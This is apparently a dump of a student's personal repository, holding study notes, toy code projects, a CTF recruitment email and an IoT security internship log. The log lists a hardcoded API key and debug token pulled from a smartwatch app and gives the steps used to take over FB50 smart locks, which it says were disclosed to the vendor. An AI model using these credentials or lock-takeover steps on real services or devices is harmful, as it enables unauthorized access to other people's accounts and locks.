you for applying to Sector443. This is a quick breifing of our 4 | recruitment process. 5 | 6 | The CTF will go live at 12:00 AM tonight (2400 hrs), and will be online 7 | for 2 days (3rd - 4th Aug). Create an account at 8 | https://ctf.sector443.xyz to start competing. 9 | 10 | The interview round will be held on the 4th of August, Sunday. 11 | This round does not depend on your performance in the CTF, 12 | and in fact, can be attended directly. We however, do not recommend that 13 | and your reason for not attempting the CTF will be questioned. Please 14 | bring a copy of your résumé. A PDF should suffice. 15 | 16 | To summarize: 17 | - CTF (https://ctf.sector443.xyz), 3rd - 4th Aug 18 | - Interview, 4th Aug, bring your résumé 19 | 20 | Feel free to reach us out via email[1], Instagram[2], or Telegram [3]. 21 | 22 | [1]: root@sector443.xyz, icyph0x@pm.me 23 | [2]: https://instagram.com/sector443 24 | [3]: https://t.me/sector443 (group) 25 | 26 | Good luck and happy pwning! 27 | 28 | -- 29 | The Sector443 Team 30 | -------------------------------------------------------------------------------- /txt/sem-5-plan.txt: -------------------------------------------------------------------------------- 1 | November 2019 2 | Su Mo Tu We Th Fr Sa 3 | 1 2 4 | 3 4 5 6 7 8 9 5 | 10 11 12 13 14 15 16 6 | 17 18 19 20 21 22 23 7 | 24 25 26 27 28 29 30 8 | 9 | FN - Forenoon 10 | AN - Afternoon 11 | 12 | Exam schedule 13 | ------------- 14 | 15 | Operating Systems 14th 16 | Theory of Computation 15th 17 | DBMS 20th 18 | EDC 22nd 19 | Aptitude 23rd 20 | Network Security 25th 21 | EECS (AN) 26th 22 | Discrete Math (FN) 26th 23 | Text Mining 27th 24 | 25 | Study plan 26 | ---------- 27 | 28 | 6th Nov, Wed: EDC 2 units ] 29 | 7th Nov, Thu: EDC 2 units, EECS 1 unit ] 3 days for EDC & EECS. Cover as much as possible. 30 | 8th Nov, Fri: EECS 2 units ] 31 | 9th Nov, Sat: Text Mining 3 units 32 | 10th Nov, Sun: Text Mining 2 units, ToC 1 unit 33 | 11th Nov, Mon: OS 2 units, ToC 1 unit 34 | 12th Nov, Tue: OS 3 units 35 | 13th Nov, Wed: Buffer for OS / ToC (Finish up whatever's left) 36 | 14th Nov, Thu: OS in FN. Revise for ToC in the evening 37 | 15th Nov, Fri: ToC in FN, relax 38 | 16th Nov, Sat: Discrete Math 2-3 units 39 | 17th Nov, Sun: Discrete Math 2-3 units 40 | 18th Nov, Mon: DBMS 2-3 units 41 | 19th Nov, Tue: DBMS 2-3 units 42 | 20th Nov, Wed: DBMS exam in FN, relax 43 | 21st Nov, Thu: More EDC 44 | 22nd Nov, Fri: Revise in AN, EDC exam in FN 45 | 23rd Nov, Sat: Aptitude exam. Revise NetSec 46 | 24th Nov, Sun: Revise NetSec 47 | 25th Nov, Mon: NetSec exam in FN, revise EECS in the evening 48 | 26th Nov, Tue: FN Discrete Math, AN EECS. Revise Text Mining. 49 | 27th Nov, Wed: Text Mining in FN 50 | 51 | -------------------------------------------------------------------------------- /txt/sl7-progress.txt: -------------------------------------------------------------------------------- 1 | IoT Security Internship — Anirudh Oppiliappan 2 | ============================================= 3 | 4 | 3rd June 2019 - 18th June 2019 5 | ------------------------------ 6 | 7 | - Started with the IoT Exploitation Handbook and video series. 8 | - Explored firmware reverse engineering 9 | 1. Reversed what we thought was the firmware for the iBall router 10 | 2. Performed static analysis on the binaries in the filesystem 11 | - Setup Raspberry Pi for practicing ARM RE and exploitation 12 | - Dived into ARM exploitation and reverse engineering 13 | 1. Learnt ARM assembly 14 | 2. Reversing basic programs 15 | 3. Stack based exploitation and ROP (wrote a blog post on this) 16 | 4. Heap exploitation 17 | - Studied the IoT Security Maturity Model (SMM) 18 | * Made a presentation for the same 19 | - Began learning MIPS 20 | 1. Learnt MIPS assembly 21 | 2. Same exploitation techniques 22 | - Attempted to reverse engineer HCI Bluetooth packet log between my smartphone and smartwatch 23 | 1. Acheived extraction of some forensic data 24 | - Began writing MIPS/ARM based exploitation challenges to be hosted on SL7's GitHub 25 | 26 | 18th June 2019 27 | ------------- 28 | 29 | - Wrote a post for the SL7 blog, titled "ARM Exploitation Series #1 — Introduction to the ARM Architecture" 30 | - Explored the new Intel Galileo Gen 2 board 31 | - Continued with my MIPS exploitation research 32 | 33 | 19th June 2019 34 | -------------- 35 | 36 | - Continued research in MIPS exploitation. Encountered unsolvable error, 37 | and hence put MIPS research on hold. 38 | - Returned to ARM exploitation. Solved and created CTF challenges to be hosted 39 | on SL7's GitHub. 40 | 41 | 20th June 2019 42 | -------------- 43 | 44 | - Put MIPS exploitation research on hold, until I find reliable hardware/software to emulate with 45 | - Worked on ARM exploitation for a while 46 | - Tried performing memory analysis of ESP8266, but Volatility doesn't support it 47 | - Started building esp-open-sdk for Xtensa toolchain. Used to build ELF files to boot in ESP8266. 48 | - Began analysis of TP-Link's Tether mobile app. Performed basic reverse engineering and analysis today. 49 | 50 | 21st June 2019 51 | -------------- 52 | 53 | - Began learning kernel exploitation 54 | - Got shell via UART on the iBall Baton router. Explored the commands. 55 | - Enumerated the router OS, which was eCos 56 | - But were unable to exploit anything due to lack of documentation 57 | - Fuzzed the web UI, found some interesting "bugs", but nothing that could be 58 | weaponized 59 | 60 | 24th June 2019 61 | -------------- 62 | 63 | - Reverse engineered the Fastrack Reflex apk. Found a bunch of interesting artifacts, listed below: 64 | Fastrack Reflex 65 | --------------- 66 | 67 | - hardcoded api keys in bj.class 68 | - api url at: prod.clove.khaapi.com 69 | - also found other subdomains: dev, pay, stage, qa 70 | - request needs the following headers: 71 | * x-clove-api-key: 6143c4170da44dc79e930d455e6702cc 72 | * x-clove-api-debug-token: hardcoded as "akshata" 73 | * x-clove-api-version: 1 74 | - unable to determine what canonical path the request needs to be made to 75 | - Wrote some Python scripts to disassemble ARM32 binaries. They can be found at https://github.com/securelayer7/arm-py32. 76 | - Will try extending this into a full framework for IoT-related architectures 77 | 78 | 25th June 2019 79 | -------------- 80 | 81 | - Today's project was the new smartlock, called BlueFPL 82 | - Began with reverse engineering the OKLOK app. Following is the analysis report: 83 | 84 | OKLOK 85 | ----- 86 | 87 | - com.oklok.y/app/app.class contains the API URL and (possibly) the key 88 | - com.oklok.y/app/activity contains some interesting bt/password activities 89 | * some hardcoded checks? 90 | - com.oklok.y/utils/b.class appears to have some kind of cryptography algo 91 | - com.oklok.y/utils/k.class has some hardcoded pins? 92 | - found the OAuth2 token hardcoded, and the API endpoint for authentication 93 | 94 | - We then attempted parsing the HCI log of the BlueFPL lock 95 | - Managed to isolate the packets being sent from the phone to unlock the lock 96 | - Attempted a replay attack, which didn't work 97 | - Setup gattacker on a laptop and RaspberryPi 98 | * tried to perform MITM 99 | * managed to spoof the RPi's mac address to match the lock 100 | * attempted a connection from the phone to the RPi, but this resulted in a crash in gattacker which we are unable to resolve 101 | 102 | 26th June 2019 103 | -------------- 104 | 105 | Today, we achieved a complete compromise of the smartlock ordered from Amazon (FB50). A CVE ID has been 106 | requested, and the vendor has been notified. 107 | 108 | - exploitation procedure: 109 | * having the mac address of a lock, the following info can be obtained: 110 | 1. lock id 111 | 2. barcode 112 | 3. user name 113 | * with the barcode, the userid can be obtained 114 | * now, using the userid and lockid, the lock can be unbound from the owner 115 | * then, we can use our own userid, name and the lock's mac address to bind ourselves to the lock 116 | * we now have full control of the lock 117 | 118 | - this info can be extracted from just knowing userid: 119 | * mac address 120 | * userid 121 | * lockid 122 | * barcode 123 | * username 124 | * email 125 | * lockkey 126 | * isAdmin is 0 (idk what that is) 127 | 128 | 27th June 2019 129 | -------------- 130 | 131 | - Wrote a fully functional single script exploit for the smart lock, in Python 132 | - Filmed the Proof of Concept video which will be used for disclosure 133 | -------------------------------------------------------------------------------- /txt/smm.txt: -------------------------------------------------------------------------------- 1 | what is smm: 2 | - smm helps orgs prioritize their security enhancements 3 | - collab b/w business and tech 4 | 5 | security maturity vs security: 6 | - effectiveness, since not all systems req same level of protection 7 | - it's considered "mature" if they are effective in addressing these goals 8 | - security maturity is confidence that eerything meets reqs 9 | 10 | reqs: 11 | - real world applicability 12 | - accomodation of diff perspectives 13 | - appropriate security guidance 14 | - adaptiblity 15 | - extensibility 16 | 17 | -------------------------------------------------------------------------------- /typescript/test.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ts-node 2 | 3 | const a: string = "hello" 4 | 5 | function lol(): string { 6 | return a 7 | } 8 | 9 | function add(x: number, y: string): string { 10 | return `${x} and ${y}` 11 | } 12 | 13 | console.log(add(1, 'lol')) 14 | -------------------------------------------------------------------------------- /uni/bookshop/.gdb_history: -------------------------------------------------------------------------------- 1 | file main 2 | disas main 3 | disas addRecord() 4 | -------------------------------------------------------------------------------- /uni/bookshop/book.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/uni/bookshop/book.dat -------------------------------------------------------------------------------- /uni/bookshop/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/uni/bookshop/main -------------------------------------------------------------------------------- /uni/bookshop/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | 8 | class Book { 9 | char name[100]; 10 | char author[100]; 11 | int copies; 12 | public: 13 | void addRecord(); 14 | void showRecord(); 15 | void checkAvail(); 16 | void modifyRecord(); 17 | void delRecord(); 18 | }; 19 | 20 | void Book::addRecord() { 21 | cout << "Book name: "; 22 | cin.ignore(); 23 | cin.getline(name, 100); 24 | cout << "Author: "; 25 | cin.getline(author, 100); 26 | cout << "Number of copies: "; 27 | cin >> this->copies; 28 | 29 | /* file stuff */ 30 | 31 | ofstream out("book.dat", ios::binary | ios::app); 32 | out.write(reinterpret_cast(this), sizeof(Book)); 33 | } 34 | 35 | void Book::showRecord(){ 36 | ifstream in("book.dat", ios::binary); 37 | while(in.read(reinterpret_cast(this), sizeof(Book))){ 38 | cout << "Book name: " << this->name << endl; 39 | cout << "Author: " << this->author << endl; 40 | cout << "Copies: " << this->copies << endl; 41 | cout << endl; 42 | } 43 | } 44 | 45 | void Book::checkAvail(){ 46 | char checkname[100]; 47 | int found = 0; 48 | 49 | cout << "Enter the name of book to check: "; 50 | cin.ignore(); 51 | cin.getline(checkname, 100); 52 | 53 | ifstream in("book.dat", ios::binary); 54 | 55 | while(in.read(reinterpret_cast(this), sizeof(Book))){ 56 | if(!strcmp(checkname, this->name)) { 57 | found = 1; 58 | break; 59 | } 60 | } 61 | if(found) 62 | cout << "Book exists!" << endl; 63 | else 64 | cout << "Book not found :/" << endl; 65 | } 66 | 67 | void Book::modifyRecord(){ 68 | char modname[100]; 69 | int pos = 0; 70 | 71 | cout << "Enter the name of book you wish to modify: "; 72 | cin.ignore(); 73 | cin.getline(modname, 100); 74 | 75 | ifstream in("book.dat", ios::binary | ios::in); 76 | ofstream out("book.dat", ios::binary | ios::out); 77 | 78 | while(in.read(reinterpret_cast(this), sizeof(Book))){ 79 | cout << "book name: " << this->name << endl; 80 | if(strcmp(modname, this->name) == 0){ 81 | pos = in.tellg(); 82 | cout << pos; 83 | cout << "here"; 84 | break; 85 | } else { 86 | cout << "Book not found!" << endl; 87 | exit(0); 88 | } 89 | } 90 | 91 | out.seekp(0, ios::cur); 92 | cout << "Enter the new name: "; 93 | cin.getline(this->name, 100); 94 | cout << "Enter the new author: "; 95 | cin.getline(this->author, 100); 96 | cout << "Enter the new copies: "; 97 | cin >> this->copies; 98 | out.seekp(pos); 99 | out.write(reinterpret_cast(this), sizeof(Book)); 100 | } 101 | 102 | void Book::delRecord(){ 103 | char delname[100]; 104 | cout << "Enter the name of book to be deleted: "; 105 | cin >> delname; 106 | ifstream in("book.dat", ios::binary); 107 | ofstream out("newbook.dat", ios::binary); 108 | 109 | in.read(reinterpret_cast(this), sizeof(Book)); 110 | while(!in.eof()){ 111 | if(strcmp(delname, this->name) != 0){ 112 | out.write(reinterpret_cast(this), sizeof(Book)); 113 | break; 114 | } 115 | 116 | else { 117 | continue; 118 | } 119 | } 120 | remove("book.dat"); 121 | rename("newbook.dat", "book.dat"); 122 | } 123 | 124 | 125 | int main() { 126 | Book b; 127 | int choice; 128 | do { 129 | cout << "Book Shop" << endl; 130 | cout << endl; 131 | cout << "1. Add books \n2. Show books\n3. Modify books\n4. Check availability\n5. Delete books\n6. Quit" << endl; 132 | cout << endl; 133 | cout << "Choose an option: "; 134 | cin >> choice; 135 | cout << endl; 136 | 137 | switch(choice) { 138 | case 1: 139 | b.addRecord(); 140 | break; 141 | case 2: 142 | b.showRecord(); 143 | break; 144 | case 3: 145 | b.modifyRecord(); 146 | break; 147 | case 4: 148 | b.checkAvail(); 149 | break; 150 | case 5: 151 | b.delRecord(); 152 | case 6: 153 | exit(0); 154 | default: 155 | cout << "Invalid option" << endl;; 156 | } 157 | } while(choice != 6); 158 | 159 | return 0; 160 | } 161 | -------------------------------------------------------------------------------- /uni/notes/csa.md: -------------------------------------------------------------------------------- 1 | # addressing modes 2 | - direct 3 | - indirect 4 | - register 5 | - register indirect 6 | - indexed — a = x + [r] 7 | - relative — a= x + pc 8 | 9 | -------------------------------------------------------------------------------- /uni/notes/pqt-unit4.md: -------------------------------------------------------------------------------- 1 | # characteristics of queue scheduling 2 | - arrival of customers 3 | - service pattern of servers 4 | - queue discipline 5 | - system capacity 6 | - no of service channels 7 | - no of service stages 8 | 9 | ## arrival of customers 10 | 1. bulk/batch 11 | 2. balked: arrives at q but decides not to enter 12 | 3. reneged: leaves queue after waiting 13 | 4. jockey: jumps around in paralell waiting lines 14 | 15 | ## service pattern of services 16 | if system is empty, server is idle. service can be deterministic or probabilstic. servers can be dependent on the number of customers, also called state dependent service. 17 | 18 | ## queue discipline 19 | 1. FIFO 20 | 2. LIFO 21 | 3. Random Selection for Services (RSS) 22 | 4. Priority: a. preemptive b. non-preemptive 23 | 24 | ## system capacity 25 | 1. finite: q with limited waiting room 26 | 2. infinite: q with unlimited waiting room 27 | 28 | ## number of service channels 29 | 1. single channel system 30 | 2. multiple channel system 31 | 32 | ## number of service stages 33 | 1. single stage 34 | 2. multiple stage 35 | 36 | 37 | # queuing models 38 | - probabilistic: when there is uncertainity in the arrival rate and the service rate 39 | - deterministic: both arrival and service rates are knwon 40 | - mixed: either arrival or service is known 41 | 42 | -------------------------------------------------------------------------------- /vala/testApp/src/Application.vala: -------------------------------------------------------------------------------- 1 | public class MyApp : Gtk.Application { 2 | 3 | public MyApp () { 4 | Object ( 5 | application_id: "com.github.yourusername.yourrepositoryname", 6 | flags: ApplicationFlags.FLAGS_NONE 7 | ); 8 | } 9 | 10 | protected override void activate () { 11 | var grid = new Gtk.Grid (); 12 | grid.orientation = Gtk.Orientation.VERTICAL; 13 | grid.row_spacing = 6; 14 | 15 | var button = new Gtk.Button.with_label ("Click me!"); 16 | var label = new Gtk.Label (null); 17 | 18 | grid.add (button); 19 | grid.add (label); 20 | 21 | var main_window = new Gtk.ApplicationWindow (this); 22 | main_window.default_height = 300; 23 | main_window.default_width = 300; 24 | main_window.title = "Hello World"; 25 | main_window.add (grid); 26 | main_window.show_all (); 27 | 28 | button.clicked.connect (() => { 29 | label.label = "Hello World!"; 30 | button.sensitive = false; 31 | }); 32 | } 33 | 34 | public static int main (string[] args) { 35 | var app = new MyApp (); 36 | return app.run (args); 37 | } 38 | } 39 | 40 | 41 | -------------------------------------------------------------------------------- /webshit/index.html: -------------------------------------------------------------------------------- 1 |
2 | 3 | text below 4 |
5 | 6 | 26 | -------------------------------------------------------------------------------- /webshit/openring/in.html: -------------------------------------------------------------------------------- 1 |
2 |

Articles from blogs I follow around the net

3 |
4 | {{range .Articles}} 5 |
6 |

7 | {{.Title}} 8 |

9 |

{{.Summary}}

10 | 11 | via {{.SourceTitle}} 12 | 13 | {{.Date | date}} 14 |
15 | {{end}} 16 |
17 |

18 | Generated by 19 | openring 20 |

21 |
22 | 50 | 51 | -------------------------------------------------------------------------------- /webshit/openring/out.html: -------------------------------------------------------------------------------- 1 |
2 |

Articles from blogs I follow around the net

3 |
4 | 5 |
6 |

7 | Picking the FB50 smart lock (CVE-2019-13143) 8 |

9 |

(originally posted at SecureLayer7’s Blog, with my edits) 10 | 11 | The lock 12 | 13 | The lock in question is the FB50 smart lock, manufactured by Shenzhen 14 | Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands 15 | across many ecommerce sites, and has over, an e…

16 | 17 | via icyphox's blog 18 | 19 | August 5, 2019 20 |
21 | 22 |
23 |

24 | FOSS contributor tracks 25 |

26 |

Just like many companies have different advancement tracks for their employees 27 | (for example, a management track and an engineering track), similar concepts 28 | exist in free software projects. One of the roles of a maintainer is to help 29 | contributors develop into…

30 | 31 | via Drew DeVault's Blog 32 | 33 | July 29, 2019 34 |
35 | 36 |
37 |

38 | Status update, May 2019 39 |

40 |

This month is a little special: it’s been one whole year I’ve started writing status updates! 41 | My list of projects has been growing, little by little, and I now spend a pretty big slice of my “open-source contributions time” doing reviews. While this gives …

42 | 43 | via emersion 44 | 45 | June 4, 2019 46 |
47 | 48 |
49 |

50 | Generated by 51 | openring 52 |

53 |
54 | 82 | 83 | -------------------------------------------------------------------------------- /webshit/vue-test/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /dist 4 | 5 | # local env files 6 | .env.local 7 | .env.*.local 8 | 9 | # Log files 10 | npm-debug.log* 11 | yarn-debug.log* 12 | yarn-error.log* 13 | 14 | # Editor directories and files 15 | .idea 16 | .vscode 17 | *.suo 18 | *.ntvs* 19 | *.njsproj 20 | *.sln 21 | *.sw* 22 | -------------------------------------------------------------------------------- /webshit/vue-test/README.md: -------------------------------------------------------------------------------- 1 | # vue-test 2 | 3 | ## Project setup 4 | ``` 5 | npm install 6 | ``` 7 | 8 | ### Compiles and hot-reloads for development 9 | ``` 10 | npm run serve 11 | ``` 12 | 13 | ### Compiles and minifies for production 14 | ``` 15 | npm run build 16 | ``` 17 | 18 | ### Run your tests 19 | ``` 20 | npm run test 21 | ``` 22 | 23 | ### Lints and fixes files 24 | ``` 25 | npm run lint 26 | ``` 27 | 28 | ### Customize configuration 29 | See [Configuration Reference](https://cli.vuejs.org/config/). 30 | -------------------------------------------------------------------------------- /webshit/vue-test/babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [ 3 | '@vue/app' 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /webshit/vue-test/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "vue-test", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "serve": "vue-cli-service serve", 7 | "build": "vue-cli-service build", 8 | "lint": "vue-cli-service lint" 9 | }, 10 | "dependencies": { 11 | "vue": "^2.5.17" 12 | }, 13 | "devDependencies": { 14 | "@vue/cli-plugin-babel": "^3.1.1", 15 | "@vue/cli-plugin-eslint": "^3.1.1", 16 | "@vue/cli-service": "^3.1.1", 17 | "babel-eslint": "^10.0.1", 18 | "eslint": "^5.8.0", 19 | "eslint-plugin-vue": "^5.0.0-0", 20 | "vue-template-compiler": "^2.5.17" 21 | }, 22 | "eslintConfig": { 23 | "root": true, 24 | "env": { 25 | "node": true 26 | }, 27 | "extends": [ 28 | "plugin:vue/essential", 29 | "eslint:recommended" 30 | ], 31 | "rules": {}, 32 | "parserOptions": { 33 | "parser": "babel-eslint" 34 | } 35 | }, 36 | "postcss": { 37 | "plugins": { 38 | "autoprefixer": {} 39 | } 40 | }, 41 | "browserslist": [ 42 | "> 1%", 43 | "last 2 versions", 44 | "not ie <= 8" 45 | ] 46 | } 47 | -------------------------------------------------------------------------------- /webshit/vue-test/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/webshit/vue-test/public/favicon.ico -------------------------------------------------------------------------------- /webshit/vue-test/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | vue-test 9 | 10 | 11 | 14 |
15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /webshit/vue-test/src/App.vue: -------------------------------------------------------------------------------- 1 | 7 | 8 | 18 | 19 | 29 | -------------------------------------------------------------------------------- /webshit/vue-test/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/webshit/vue-test/src/assets/logo.png -------------------------------------------------------------------------------- /webshit/vue-test/src/components/HelloWorld.vue: -------------------------------------------------------------------------------- 1 | 32 | 33 | 41 | 42 | 43 | 59 | -------------------------------------------------------------------------------- /webshit/vue-test/src/main.js: -------------------------------------------------------------------------------- 1 | import Vue from 'vue' 2 | import App from './App.vue' 3 | 4 | Vue.config.productionTip = false 5 | 6 | new Vue({ 7 | render: h => h(App), 8 | }).$mount('#app') 9 | --------------------------------------------------------------------------------